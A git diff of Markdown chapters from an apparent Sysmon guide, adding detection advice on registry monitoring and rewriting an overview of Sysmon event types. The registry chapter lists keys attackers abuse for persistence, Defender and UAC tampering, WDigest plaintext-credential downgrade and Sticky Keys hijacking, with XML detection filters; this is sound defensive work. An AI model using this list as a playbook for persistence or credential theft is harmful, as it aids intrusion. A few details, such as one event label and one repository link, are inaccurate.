highest-volume event types Sysmon generates. The Windows Registry is accessed thousands of times per minute during normal system operation: +* Windows components constantly read and write registry values +* Every application startup involves numerous registry accesses +* Background services continuously update configuration in registry +* User profile changes modify HKCU extensively +* Group Policy processing writes to many registry locations + +**You CANNOT log all registry activity.** Attempting to do so will: +* Generate tens of thousands to millions of events per day per system +* Severely impact system performance (CPU and I/O) +* Overwhelm your SIEM infrastructure +* Create so much noise that real detections are impossible to find +* Potentially cause Sysmon to consume excessive system resources + +Configuration Philosophy: Highly Targeted Includes +--------------------------------------------------- + +Registry monitoring requires the **most aggressive targeted include approach** of any Sysmon event type. You must be extremely selective about which registry keys you monitor. Focus exclusively on high-value keys known to be abused by attackers. + +**Best Practices:** +* Only monitor specific registry paths that indicate malicious activity +* Avoid broad patterns that match many keys +* Prefer "end with" or exact matches over "contains" when possible +* Never attempt to monitor entire registry hives or subtrees +* Test any new registry filters in a lab first to assess volume +* Start with a minimal configuration and expand carefully Sysmon uses abbreviated versions of Registry root key names, with the following mappings: @@ -95,7 +169,46 @@ Sysmon does not log the actual value being set nor a previous or new one being m ![HCU Value Event](./media/image53.png) -Example of monitoring some AutoRun locations +High-Value Registry Keys to Monitor +------------------------------------ + +Focus your registry monitoring on these high-value locations known to be frequently abused: + +**Persistence - Autorun Locations:** +* `\CurrentVersion\Run` and `\CurrentVersion\RunOnce` - Most common persistence mechanism +* `\CurrentVersion\Explorer\User Shell Folders\Startup` - Startup folder path hijacking +* `\Windows NT\CurrentVersion\Winlogon\` (Userinit, Shell, Notify) - Logon process hijacking +* `\CurrentControlSet\Control\Session Manager\BootExecute` - Pre-boot execution + +**Service Manipulation:** +* `\CurrentControlSet\Services\*\ImagePath` - Service executable path +* `\CurrentControlSet\Services\*\ServiceDll` - Service DLL specification +* `\CurrentControlSet\Services\*\Start` - Service start mode changes + +**DLL Loading and Hijacking:** +* `\Windows NT\CurrentVersion\Windows\AppInit_DLLs` - DLLs loaded into every process +* `\System\CurrentControlSet\Control\Session Manager\AppCertDlls` - DLL injection mechanism +* `\Explorer\FileExts` and file association shell commands - Execution through file associations + +**Defense Evasion - Security Tool Tampering:** +* `\SOFTWARE\Microsoft\Windows Defender\` - Windows Defender settings +* `\SOFTWARE\Policies\Microsoft\Windows Defender\` - Defender policy modifications +* `\SYSTEM\CurrentControlSet\Services\WinDefend\Start` - Defender service disable +* `\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` - UAC disable + +**Credential Access:** +* `\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential` - Enable WDigest plaintext passwords +* `\SYSTEM\CurrentControlSet\Control\Lsa\` - LSA configuration + +**Accessibility Feature Hijacking (Sticky Keys, etc.):** +* `\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe` - Sticky Keys debugger +* `\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe` - Utility Manager debugger +* Similar paths for osk.exe, narrator.exe, magnify.exe, displayswitch.exe + +Configuration Examples +----------------------- + +**Example 1: Comprehensive Persistence Monitoring** ```xml @@ -124,3 +237,166 @@ Example of monitoring some AutoRun locations ``` + +**Example 2: Defense Evasion Detection** + +Monitor for attempts to disable security controls: + +```xml + + + \Microsoft\Windows Defender\DisableAntiSpyware + \Microsoft\Windows Defender\Exclusions\ + \Microsoft\Windows Defender\Real-Time Protection\ + + + \Policies\System\EnableLUA + \Policies\System\ConsentPromptBehaviorAdmin + + + \CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\ + +``` + +**Example 3: Credential Access Monitoring** + +```xml + + + \WDigest\UseLogonCredential + + + \Control\Lsa\DisableRestrictedAdmin + \Control\Lsa\LmCompatibilityLevel + +``` + +**Example 4: Accessibility Feature Hijacking (Sticky Keys)** + +```xml + + + \Image File Execution Options\sethc.exe + \Image File Execution Options\utilman.exe + \Image File Execution Options\osk.exe + \Image File Execution Options\narrator.exe + \Image File Execution Options\magnify.exe + +``` + +What to Investigate +------------------- + +When reviewing registry events, prioritize these patterns: + +**1. Run Key Modifications** +* New or modified entries in Run/RunOnce keys, especially in HKLM (affects all users) +* Unusual paths (temp directories, ProgramData, user folders) +* Encoded or obfuscated command lines +* Unsigned executables being added to autorun + +**2. Service Creation or Modification** +* New services created outside of normal software installation +* Existing service ImagePath or ServiceDll modifications +* Service start type changes from Disabled to Automatic +* Services pointing to unusual file locations + +**3. Security Tool Tampering** +* Any modifications to Windows Defender registry keys +* Defender exclusion additions +* Firewall rule changes or firewall disable +* UAC setting modifications + +**4. Accessibility Feature Abuse** +* Debugger registry key creation for sethc.exe, utilman.exe, or other accessibility executables +* This technique allows attackers to get SYSTEM shell at login screen by pressing Shift 5 times + +**5. File Association Hijacking** +* Changes to shell\open\command or shell\open\ddeexec for common file types +* Can cause malicious code execution when users open files + +**6. WDigest Credential Downgrade** +* UseLogonCredential set to 1 (enables storing plaintext passwords in memory for older protocols) +* Common post-exploitation technique to facilitate credential dumping + +**7. Unusual Processes Modifying Registry** +* Scripting engines (powershell.exe, cmd.exe, wscript.exe) modifying persistence keys +* Processes running from temp directories making registry changes +* Non-administrative tools modifying HKLM + +Understanding HKCU Monitoring Challenges +----------------------------------------- + +Monitoring HKEY_CURRENT_USER (HKCU) is particularly challenging because: +* Each user has their own HKCU hive identified by their SID +* The actual registry path includes the SID: `HKEY_USERS\S-1-5-21-xxx-xxx-xxx-xxxx\Software\...` +* Sysmon translates this to HKU\{SID}\... + +**When filtering HKCU keys:** +* Use **contains** instead of **begins with** or **is** because the SID varies per user +* Example: `\CurrentVersion\Run` will match both HKLM and HKCU Run keys + +**HKCU Monitoring Considerations:** +* HKCU persistence affects only a single user but can still be valuable for detection +* HKCU is modified very frequently by normal user activity +* Consider only monitoring specific high-value HKCU keys rather than broad patterns +* HKLM persistence is generally higher priority (affects all users, often requires elevation) + +Common False Positives and Mitigation +-------------------------------------- + +Registry monitoring will generate some benign events even with targeted includes: + +**Software Updates and Installations** +* Legitimate software modifying Run keys during installation +* Windows updates changing service configurations +* **Mitigation**: Filter known software installers by full path and signature, or accept and triage at SIEM level + +**Group Policy Application** +* Domain Group Policy writing to various registry locations +* **Mitigation**: Identify Group Policy engine processes and consider excluding, or use SIEM correlation to identify GP-related changes + +**Windows Built-in Maintenance** +* System maintenance tasks modifying registry +* Windows Defender updates changing Defender registry +* **Mitigation**: Baseline normal maintenance patterns and filter at SIEM level + +**Management Software** +* SCCM, Tanium, or other endpoint management making registry changes +* **Mitigation**: Document expected management tool behavior and exclude specific processes with full path + +Performance and Volume Management +---------------------------------- + +Registry monitoring requires careful performance management: + +**Start Minimal**: Begin with only the most critical persistence keys (Run, Services, Winlogon) and expand gradually. + +**Test Every Addition**: Before adding a new registry filter to production, test it in a lab environment for 24-48 hours to measure event volume. + +**Monitor Sysmon CPU Usage**: Registry filtering happens in real-time and can consume CPU. Watch for Sysmon process CPU spikes after configuration changes. + +**Typical Volume Expectations**: With a well-tuned configuration monitoring ~20-30 high-value registry paths, expect: +* Workstations: 10-100 events/day +* Servers: 50-500 events/day +* Domain Controllers: Higher due to Group Policy application + +**If Volume Exceeds Expectations:** +* Review which specific TargetObject patterns are generating the most events +* Consider if the filter is too broad (using "contains" when "end with" would suffice) +* Evaluate if SIEM-level filtering might be more appropriate +* Validate the key being monitored provides actual detection value + +Testing and Validation +----------------------- + +Validate your registry monitoring configuration: + +1. **Test Persistence Techniques**: Create a Run key entry in a lab and verify Sysmon logs it +2. **Service Creation**: Create a test service and modify its ImagePath +3. **Defender Tampering Simulation**: Attempt to add Defender exclusions (in isolated environment) +4. **Sticky Keys Test**: Set a debugger for sethc.exe in a lab +5. **Volume Baseline**: Run configuration for 1 week and track daily event volumes +6. **Performance Monitoring**: Watch Sysmon CPU usage to ensure no performance degradation + +Registry monitoring, when configured with highly targeted includes focused on known abuse patterns, provides critical detection of persistence, privilege escalation, and defense evasion techniques. The key is maintaining strict discipline about only monitoring proven high-value registry keys to keep volume manageable and performance impact minimal. diff --git a/chapters/what-is-sysmon.md b/chapters/what-is-sysmon.md index 217c3bc..5cc49b0 100644 --- a/chapters/what-is-sysmon.md +++ b/chapters/what-is-sysmon.md @@ -1,72 +1,90 @@ -What is Sysmon -============== +# What is Sysmon -Sysmon is a free tool initially developed by Mark Russinovich and by Tomas Garnier,with contributions David Magnotti, Mark Cook, Rob Mead, Giulia Biagini, Alex Mihaiuc, Kevin Sheldrake, John Lambert and others at Microsoft. The tools was initially released for. Windows. host and on October 2021 a Open Source Linux version of the tools was release. The tool is designed to extend the current logging capabilities in Windows and Linux so as to aid in understanding and detecting attackers by behavior. +Sysmon (System Monitor) is a free, advanced system monitoring tool developed by Mark Russinovich and Tomas Garnier, with contributions from David Magnotti, Mark Cook, Rob Mead, Giulia Biagini, Alex Mihaiuc, Kevin Sheldrake, and John Lambert. +Originally, Sysmon was created for internal use at Microsoft, but it is now widely used by security professionals to enhance visibility into system activity and detect abnormal behavior or potential threats. -The original version the tool was for internal use at Microsoft. Under Windows the tool supports 64-bit and 32-bit systems and uses a single command line tool for installation and configuration management. +Sysmon enables defenders to better detect suspicious activity by monitoring and logging a broad range of system events, such as process creation, network connections, and changes to files or registry keys. These logs are especially valuable for security investigations and threat detection. -For Linux the tool can be compiled from source or installed via the distribution package manager. It supports the following distributions: +## Sysmon on Windows + +Sysmon for Windows supports ARM, x64 and x86 systems. Installation and configuration are managed through a single command-line tool. When installed, Sysmon logs events to the Microsoft-Windows-Sysmon/Operational Event Log. + +### Windows Supported Event Types + +The following table lists the event types and corresponding event IDs generated by Sysmon on Windows systems: + +| Event Type | Event ID | +|------------------------------------|----------| +| Sysmon Service Status Changed | 0 | +| Process Create | 1 | +| File Create Time | 2 | +| Network Connect | 3 | +| Service State Change | 4 | +| Process Terminate | 5 | +| Driver Load | 6 | +| Image Load | 7 | +| Create Remote Thread | 8 | +| Raw Access Read | 9 | +| Process Access | 10 | +| File Create | 11 | +| Registry Object Added or Deleted | 12 | +| Registry Create | 13 | +| Registry Rename | 14 | +| File Create Stream Hash | 15 | +| Sysmon Config Change | 16 | +| Named Pipe Create | 17 | +| Named Pipe Connected | 18 | +| WMI Event Filter | 19 | +| WMI Event Consumer | 20 | +| WMI Consumer to Filter | 21 | +| DNS Query | 22 | +| File Delete | 23 | +| Clipboard Capture | 24 | +| Process Tampering | 25 | +| File Delete Detected | 26 | +| Error | 255 | + +## Sysmon on Linux + +Sysmon for Linux is an open-source adaptation, designed to collect similar security-relevant events from Linux environments. It leverages eBPF (Extended Berkeley Packet Filter) to efficiently monitor system activity at the kernel level. + +Sysmon for Linux can be compiled from source or installed via your distribution’s package manager. Currently supported distributions include: - Ubuntu - Debian - Red Hat Enterprise Linux - Fedora Linux -- OpenSuse -- Suse Linux Enterprise Server - -Sysmon will store logs in the default operating system login system. For Windows all of the events generated by Sysmon are saved in Microsoft-Windows-Sysmon/Operational EventLog and in the case of Linux under /var/log/syslog in order to accommodate security products that already collect and centralize logs from both operating systems. - -Sysmon is able to monitor for a series of actions on a host that relate to existing behavior that is abused by threat actors. With this view on the actions, defenders are able to better detect abnormal behavior and abuses on a system. - -The table below shows the event types and event ID that the version of Windows collects. - -| EventType| EventId| -|---|---| -|Sysmon Service Status Changed|0 -|ProcessCreate|1 -|FileCreateTime|2 -|NetworkConnect|3 -|Service State Change|4 -|ProcessTerminate|5 -|DriverLoad|6 -|ImageLoad|7 -|CreateRemoteThread| 8 -|RawAccessRead| 9 -|ProcessAccess| 10 -|FileCreate| 11 -|Registry object added or deleted | 12 -|Registry Create| 13 -|Registry Rename| 14 -|FileCreateStreamHash | 15 -|Sysmon Config Change| 16 -|Named Pipe Create| 17 -|Named Pipe Connected|18 -|WMI Event Filter|19 -|WMI Event Consumer|20 -|WMI Consumer to Filter|21 -|DNS Query|22 -|File Delete|23 -|Clipboard Capture|24 -|Process Tampering|25 -|File Delete Detected|26 -|Error|255 - -The Linux version supports given the OS and technologies a smaller number of events. - -| EventType| EventId| -|---|---| -|Sysmon Service Status Changed|0 -|ProcessCreate|1 -|NetworkConnect|3 -|Service State Change|4 -|ProcessTerminate|5 -|RawAccessRead| 9 -|FileCreate| 11 -|Sysmon Config Change| 16 -|File Delete|23 - -The Sysmon version for Linux is an open-source version of the tool, developed to collect security events from Linux environments using eBPF (Extended Berkeley Packet Filter) and placing the captured events in to Syslog for easy consumption by existing centralized log collection solutions. - -Sysmon for Linux use the sysinternalsEBPF library to allow it to capture actions against files on disk and network actions. eBPF is a technology that allows to run the program at the Kernel level in a sandbox allowing it to capture read and. Sysmon leverages this technology to capture information on processes, reads and writes to block devices and also for Socket and TCP/IP actions before they reach a network interface. This behavior is similar to that of mini filter drivers in Windows that allow for the capture of events as they are executed by the APIs in the OS. - -The sysinternalsEBPF and Sysmon for Linux are Open Source projects, this allows the community to contribute and to further expand the capabilities of the tools. They can be found at https://github.com/Sysinternals. Both Projects are written in C and in each repository they include documentation on how to build the utilities. +- openSUSE +- SUSE Linux Enterprise Server + +Sysmon logs events to the native system logging facility (such as journald). The scope of supported events is narrower compared to Windows, due to differences in operating system architecture. + +### Linux Supported Event Types + +The following table lists the event types and event IDs currently supported by Sysmon on Linux: + +| Event Type | Event ID | +|------------------------------|----------| +| Sysmon Service Status Changed | 0 | +| Process Create | 1 | +| Network Connect | 3 | +| Service State Change | 4 | +| Process Terminate | 5 | +| Raw Access Read | 9 | +| File Create | 11 | +| Sysmon Config Change | 16 | +| File Delete | 23 | + +Sysmon for Linux uses the sysinternalsEBPF library to capture file and network activities. eBPF allows execution of custom code at the kernel level, enabling efficient and secure event collection without requiring kernel modules. + +Both sysinternalsEBPF and Sysmon for Linux are open source projects, allowing the community to contribute and extend their features. You can find the projects and source code on GitHub: +- [Sysmon for Linux](https://github.com/Sysinternals/SysmonForLinux) +- [sysinternalsEBPF library](https://github.com/Sysinternals/ebpf-for-windows) + +## Further Resources + +- [Sysmon for Windows - Microsoft Documentation](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) +- [Sysmon for Linux - GitHub](https://github.com/Sysinternals/SysmonForLinux) + +Sysmon is a vital tool for defenders looking to increase their visibility into system activities and detect security threats on both Windows and Linux platforms. +